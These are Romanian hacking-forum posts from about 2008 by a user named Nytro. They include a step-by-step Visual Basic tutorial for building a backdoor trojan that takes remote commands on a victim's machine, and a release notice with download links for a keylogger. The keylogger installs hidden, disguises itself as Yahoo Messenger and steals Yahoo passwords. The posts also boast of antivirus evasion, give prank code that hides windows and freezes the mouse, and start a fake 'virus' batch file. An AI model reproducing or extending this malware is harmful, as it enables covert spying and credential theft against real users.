Nytro

rair in conquiztador s-au bagat o gramada de bani . Cei peste 100000 de vizitatori unici au dovedit asta . Ceea ce a descoperit Slick nu e un amarat de bug ... Sper ca programul sa nu fie niciodata publicat . E pacat de joc , cel mai reusit joc web pe care il stiu . Daca programul va fi publicat se va ajunge cum s-a ajuns cu codurile de cs : toti copii de 10 ani joaca si "dau numai headshoturi" . Felicitarile mele Slick

Ms . Se pot face mai multe pornind de la asta , de exemplu in loc de hide , ar merge close ... poate in loc de foreground windows un findwindow ... Trebuie decat sa ai imaginatie

Inca o porcarie pe care am descoperito in timp ce ma jcam cu API-urile Vom avea nevoie de 2 APIuri : Private Declare Function ShowWindow Lib "user32" Alias "ShowWindow" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long Private Declare Function GetForegroundWindow Lib "user32" Alias "GetForegroundWindow" () As Long Si de un Timer la Interval 1 . Private Sub Timer1_Timer() Dim x x = GetForegroundWindow() ' x va fi handlerul ferestrei care detine focusul ShowWindow x, 0 ' Folosim APIul ShowWindow pentru a ascunde fereastra End Sub Rulati si dati click pe o fereastra

Trebuia Winsock1.RemoteHost = Text1.Text Tzai ce am uitat ... Ms ca mi-ai zis . Gata , am corectat

Ms . Pai cred ca voi mai face decat o parte , initial ma gandisem la 3 . Am explicat intr-o topica Swap mouse , crazy mouse ... Dar le mai explic o data in partea a doua

Crearea unui Trojan BackDoor in Visual Basic 6 © Nytro 2008 www.mortal-team.com Sa incepem . Ce e un trojan ( Backdoor ) ? Este o aplicatie creata pentru a fura date dintr-un calculator , pentru a spiona , uneori pentru a obtine control total asupra unui calculator . Ea este de obicei formata din doua componente : client si server . Serverul este aplicatia care va trebui instalata pe calculatorul victimei , componenta care va prelucra datele , iar clientul este aplicatia care va trimite comenzi catre server , va spune ce anume sa faca serverul . Care e ideea de baza ? Simplu . Din client trimitem un cuvant ( string ) catre server , iar atunci cand serverul va primi acel string , va face ceva anume . De exemplu , daca din client trimitem catre server stringul "mesaj" , serverul va afisa un MsgBox . Cum vom face acest lucru ? Vom folosi WINSOCK , mai exact MSWINSCK.OCX . Ce este acest winsock ? Este o biblioteca de functii , care ne permite sa ne conectam , sa trimitem si sa receptionam date . Sa incepem . Intram in Visual Basic , alegem Standard si punem un Winsock pe Form ( nu o sa stau sa va explic cum se face asta , daca nu stiti jucati Mario ) . Mai punem un TextBox pentru IP , si un buton de conectare . Asta pentru client . Deschidem din nou Visual Basic , pentru server , si nu punem decat un Winsock . Sa facem conexiunea . Serverul va deschide un port prin care va primi datele de la client , pe care le va procesa . Cum facem asta ? Private Sub Form_Load() On Error Resume Next ' Handler de erori . In caz de eroare , se trece peste eroare , nu se opreste rularea serverului . Winsock1.LocalPort = 1111 ' Deschidem portul 1111 ( Puteti alege alt port ) Winsock1.Listen ' Setam serverul sa astepte date de la client End Sub Serverul va trebui rulat . Apoi in client , ne conectam la server : Private Sub Command1_Click() On Error Resume Next ' La fel Winsock1.Close ' Inchidem o conexiune anterioara , daca aceasta exista Winsock1.RemoteHost = Text1.Text ' IPul la care vrem sa ne conectam , cel din TextBox . Daca testezi serverul pe calculatorul tau poti folosi la IP 127.0.0.1 . Winsock1.RemotePort = 1111 ' Setam portul prin care clientul sa se conecteze la server Winsock1.Connect ' Conectam clientul la server End Sub In caz de conexiune reusita , va interveni evenimentul Winsock_Connect . Putem afisa pe titlu ferestrei clientului , ca avem o conexiune reusita . Private Sub Winsock1_Connect() Form1.Caption = "Conectat la" & Text1.Text ' Setam captionul ( titlul ) ferestrei ca s-a conectat , Text1.Text , fiind IP-ul scris in TextBox . End Sub In caz de o conexiune nereusita va interveni evenimentul Private Sub Winsock1_Error() . La fel , putem afisa la titlul ferestrei , faptul ca a intervenit o eroare : Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean) Form1.Caption = "Eroare la conectare" End Sub Acum in server . La apasarea butonului de conectare din client , in server , va interveni evenimentul Winsock1_ConnectionRequest . Va trebui acceptata conexiunea . Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long) Winsock1.Close ' Inchidem o conexiune existenta , in caz ca exista Winsock1.Accept requestID ' Acceptam conexiunea de la client End Sub Cam asta a fost conexiunea . Acum , sa setam sa faca serverul ceva anume , pentru inceput sa deschida notepad . Pentru asta , vom trimite din client stringul "notepad" , iar cand serverul va primi acel string , va deschide notepad in calculatorul victimei . Cum trimitem stringul ? Vom pune inca un buton , si la apasarea acestuia , vom trimite stringul . Private Sub Command2_Click() On Error Resume Next Winsock1.SendData "notepad" ' Trimitem stringul "notepad" End sub La primirea stringului , in server , va interveni evenimentul Winsock1_DataArrival() . Vom primi si vom procesa datele . Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Dim date_primite As String ' Declaram variabila date_primite de tipul string Winsock1.GetData date_primite ' Memoram datale primite in variabila date_primite . If date_primite = "notepad" Then ' Verificam daca stringul trimis din client si memorat in server este "notepad" , si daca este , deschidem notepad . Shell "notepad.exe" ' Deschidem notepad . End If ' Inchidem instructiunea If End Sub Dar ce facem daca vrem sa trimitem mai multe date din client , si sa nu stim ce anume contin unele , sa poata fi modificate de utilizatorul clientului , de exemplu , sa trimitem un mesaj ? Simplu . Trimitem totul ca un singur string , iar in server il vom imparti intr-un vector . Vom face acest lucru in server , cu ajutorul functiei Split . Deci in client , la trimiterea stringului , va trebui sa folosim un delimitator . Vom impatri in server datele primite in vector folosind acel delimitator . Mai bine va dau un exemplu . Mai puneti pe Form un buton si un TextBox . Private sub Command3_click() On Error Resume Next Winsock1.SendData "mesaj|" + Text2.Text ' Dupa cum vedeti , dupa "mesaj" , se afla caracterul "|" . Vom folosi acest caracter pe post de delimitator . Cand serverul va primi stringul "mesaj" , va afisa un mesaj ( MsgBox ) , cu datele trimise dupa mesaj si anume Text2.Text . End Sub In server vom procesa datele primite : Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Dim date_primite As String Dim Vector() As String ' Declaram vectorul Vector() de tip string . Winsock1.GetData date_primite Vector() = Split(date_primite,"|") ' Acum impartim datele primite in vector in functie de delimitatorul nostru "|" . Asadar primul element al vectorului va fi "mesaj" , iar cel de-al doilea va fi Text2.Text , mesajul trimis din server . Atentie : vectorii in Visual Basic sunt in baza 0 , adica incep de la 0 . Asadar primul element al vectorului va fi Vector(0) nu Vector(1) . Putem seta ca vectorii sa inceapa de la 1 , folosind instructiunea Option Base 1 la Declarations . Deci Vector(0) va fi "mesaj" iar Vector(1) va fi mesajul trimis din client . Va trebui sa verificam apoi primul string Vector(0) , si daca acesta este "mesaj" vom afisa ca MsgBox continutul lui Vector(1) . If Vector(0) = "mesaj" Then ' Verificam daca primul string este "mesaj" MsgBox Vector(1) ' Afisam ca MsgBox continutul mesajului trimis din client. End If End Sub Aceasta este ideea de baza . Sa prezint in continuare starile prin care trece un Winsock . Putem verifica aceste stari , folosind metoda State . Aceste stari sunt : 0 - sckClosed - Conexiunea e inchisa 1 - sckOpen - Conexiunea e deschisa 2 - sckListening - Conexiunea e in asteptare 3 - sckConnectionPending - Conexiune in desfasurare 4 - sckResolvingHost - In curs de rezolvare 5 - sckResolved - Sistem gazda rezolvat 6 - sckConnecting - Se conecteaza 7 - sckConnected - Conectat 8 - sckClosing - Se inchide conexiunea 9 - sckError - Eroare Ce putem face cu aceste state-uri ? De exemplu nu lasam sa se trimita un string din client in caz ca acesta nu este conectat la server . Private Sub Command2_Click() If Winsock1.State <> 7 ' State-ul este 7 daca este conectat MsgBox "Nu esti conectat" ' In caz ca nu e conectat , afisam mesajul "Nu esti conectat" . Else: Winsock1.SendData "notepad" End If End Sub Daca incercam sa trimitem un string si clientul nu e conectat , si nu folosim On Error Resume Next , clientul se va inchide in urma unei erori . Nu pare cine stie ce , dar de la aceasta idee au plecat toti . Aceasta este decat prima parte , voi reveni si cu o a doua parte in care voi incerca sa va explic cat mai multe functii : Open CDRom , Hide Mouse Cursor etc . Sper ca ati inteles . Credit : Nytro www.mortal-team.com

Am avut si niste probleme de la Visual Basic , nu puteam face . Pai nu e chiar asa de usor , am ideea de la Slick , dar e mai greu de pus in practica .

Ok , cred ca voi pune sa afiseze [ Backspace ] Ca sa se conecteze direct e nevoie de IP , de IP tau , deci serverul trebuie editat . Si inca nu stiu sa fac . Trebuie deschis binar bla bla ... Cand o sa am mai mult timp o sa incerc si asta .

:::: Digital Keylogger v3.0 :::: :::: © Nytro 2008 :::: :::: www.rstcenter.com :::: Digital Keylogger v3.0 : Made in Romania Client size : 912 KB Server size : 196 KB New : Server captures all windows . Server : Copy file : C:\WINDOWS\system32\explorer.exe Starup : Yes , SystemDriver Disable Task Manager : No Hidden Install : Yes Icon : Yahoo! Messenger No "Missing file error" for client and server . Features : - Get keylog Automat : You set how fast to recive the keylog from server . - Get keylog Manual : Click "Get Keylog" to get the keylog from server . - Close Y! : You will close victim's Yahoo! Messenger , the victim will login , and you will get his password . Server will disable "Remember ID & Password" and "Auto-Login" options if they are activated . - Kill Server : The server will be deleted from victim's pc . - Send Message : You can send a message to your victim . Message type will be critical , the title will be "Microsoft Windows" . - Use Backspace : If you select Yes , if your victim press Backspace button , it will have an effect to your keylog . It will delete a char from keylog . If you select No , pressing Backsapce button , won't have any effect . - Save Log : You can save the keylog to your PC . - System Tray : The client will move to System Tray , behind the clock . Just move mouse over his icon to restore it . Thanx , Nytro www.rstcenter.com Screenshot : Download : http://rapidshare.com/files/87242715/Digital_Keylogger_v3.0_by_Nytro.rar http://www.speedyshare.com/617551467.html http://uploaded.to/?id=xlp2fi http://www.netdrive.ws/48170.html Enjoy

Exista si preg si ereg sau decat preg ? Gasirea unui numar de telefon : Nu ar merge ? "^[0-9]{10}$"

Din cate stiam eu in perl e : preg , iar in php e ereg ...

Ar fi mai interesant ca "Programming" sa aibe mai multe categorii : VB , PHP etc...

Poate trebuia sa explici putin functia API-ul Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" ( _ ByVal hWnd As Long, _ ByVal sWndTitle As String, _ ByVal cLen As Long) As Long Are nevoie de 3 argumente : hWnd : handlerul ferestrei din care se preia textul , in cazul nostu ForegroundWindow . Parametru de intrare . sWndTitle : Titlul ferestrei . In variabila pe care o veti folosi , in cazul de fata Title , se va memora Titlu ferestrei Foreground . Acest titlu , in caz de succes , se va termina in caracterul NULL . In caz de eroare va fi 0 . Parametru de iesire . cLen : reprezinta lungimea maxima care va fi copiata in variabila Title . Daca acest argument va fi 5 de exemplu , Title va contine primele 5 caractere din titlul ferestrei . Parametru de intrare . Sper sa va ajute

Vom avea nevoie de 3 API-uri : Private Declare Function SetCursorPos Lib "user32" (ByVal x As Long, ByVal y As Long) As Long Private Declare Function ShowCursor Lib "user32" (ByVal bShow As Long) As Long Private Declare Function SwapMouseButton Lib "user32" Alias "SwapMouseButton" (ByVal bSwap As Long) As Long Cu functia SetCursorPos vom seta pozitia cursorului . Functia are 2 argumente : x si y , adica locatia in care sa setam curorul . Freeze mouse : setam pozitia cursorului in acelasi loc , cu ajutorul unui timer ( interval 1 ) : Private Sub Timer1_Timer() x = SetCursorPos(300, 500) ' La intamplare 300 , 500 End Sub Crazy Mouse : Setam pozitia mouse-ului aleator pe ecran cu ajutorul unui timer ( interval 10 de ex ) : Private Sub Timer1_Timer() x = SetCursorPos(Rnd * 1000, Rnd * 1000) ' Setam pozitia cursorului ca un nr aleator intre 0 si 1000 . End Sub Pentru a opri Freeze mouse si crazy mouse , oprim timerul . Hide Mouse - Vom folosi al doilea API : ShowCursor , care are nevoie decat de un argument : bShow . Daca bShow e 1 , cursorul va fi vizibil , daca e 0 va fi ascuns . Private Sub Command1_Click() ShowCursor 0 ' Ascundem cursorul End Sub Pentru a afisa din nou cursorul : ShowCursor 1 Pentru Swap Mouse Button vom foloi al 3-lea API : SwapMouseButton , care la fel ca ShowCursor , are un singur argument : bSwap , care daca va fi 1 , butoanele mouseului vor fi inversate si daca va fi 0 se va reveni la normal . Private Sub Command1_Click() SwapMouseButton 1 ' Pentru inversare End Sub Private Sub Command2_Click() SwapMouseButton 0 ' Pentru revenire la normal End Sub Sper sa va ajute cu ceva

E o functie care seteaza poza de pe desktop pe Form . Se poate seta si pe PicturBox ... etc Private Declare Function PaintDesktop Lib "user32" (ByVal hdc As Long) As Long Private Sub Command1_Click() x = PaintDesktop(Picture1.hdc) End Sub

Poison Ivy e Pinch ? Daca da , cred ca din aceasta cauta ii cauza kaspersky pe creatori . Cred ca fura date ... treaba voastra

Cum sa pui poza de pe desktop pe form : Private Declare Function PaintDesktop Lib "user32" (ByVal hdc As Long) As Long Private Sub Command1_Click() x = PaintDesktop(Me.hdc) End Sub Nu cred ca trebuie sa explic ceva

v2.2 Download : http://rapidshare.com/files/83442240/Digital_Keylogger_v2.2.rar

Ia nu va mai certati in topica mea

Ms pentru sfaturi . Mi-am dat seama cam tarziu ca imaginile pe fundal nu dau bine . Si nu am o imaginatie foarte bogata ... Astept sfaturi in materie de grafica

Ms , folositi-l cat este inca nedetectabil .

Ms Black Pai nu e vorba de ocx , imi trebuie niste imagini ... nu am idei ... grafica la Pro e praf . E ceva mai dragut v2.1 i are fixat un bug de conectare . Nu sunt prea bun la grafica . De fapt sunt praf . In fine . La Save Log salveaza un fisier .txt cu tot ce a fost scris , cu keyloggul . Ce functii in plus puteam pune ? Incearca v2.1 si spune parerea In legatura cu cartea aia ... Eu am invatat cel mai mult Visual Basic in practica. Teoria e mult mai usoara ca practica . Si in carte scria cum sa pun un buton pe form ... Click pe butonul din toolbox , deplasati mouse deasupra formularului etc ... Am gasit multe chestii pe care nu le stiam , dar cea mai mare parte din ce am citit stiam ... Am citit cartea la 5 luni dupa ce incepusem sa ma "joc" cu VB . La inceput , faceam din surse , fara sa stiu ce fac . Apoi am inceput sa fac lucruri simple pe care le stiam ... Cand am citit cartea stiam destul de multe despre Visual Basic , multe lucruri descoperindu-le singur

Poti crea si tu propriul keylogger , 97 % NeDetectabil , Foarte Usor folosind NyTrojan.OCX v2.1 scan : File Digital_Keylogger_Server_v2.1.exe received on 01.08.2008 19:23:01 (CET) Current status: Loading ... queued waiting scanning finished NOT FOUND STOPPED Result: 8/32 (25%) 75% UD ... e binisor dupa atata timp ...

Mai intai pentru cei care foloec un ocx in programele lor : adaugati ocx intr-un fisier de resurse fara sa modificati id sau type . Daca modificati , modificati si codul . Copiem in Form Initialize OCX-ul , verificand mai intai daca ocx-ul exista deja : Pentru creatorii de OCXuri : E putin mai complicat , daca se poate si mai simplu sa spuneti . Mai intai creati OCX asa cum vrei voi , fara sa faci ceva special la el pentru auto-copiere . Apoi , in sursa OCX-ului , dupa ce ati creat OCX , adaugati intr-un fisier de resurse OCX-ul creat deja . Iar in cod , verificam daca exista OCX , daca nu exista in copiem in UserControl Initialize ca mai sus : Atentie : OCX va fi de aproximativ de 2 ori mai mare , dar nu va mai trebui copiat manual de utilizatorul OCX-ului . Cand se va copia , se va copia OCX original , cel pus in fisierul de resurse . Daca imi vine o alta idee revin cu un edit

Open "C:\xxx.bat" For Output As #1 Print #1, "@ECHO OFF" Print #1, "ECHO Sunt un tampit" Print #1, "ECHO Un copil handicapat si totusi hapciupalitic..." Print #1, "ECHO be aware,be aware incepe executia virusului mondial care sterge mp3" Print #1, "ECHO Copyright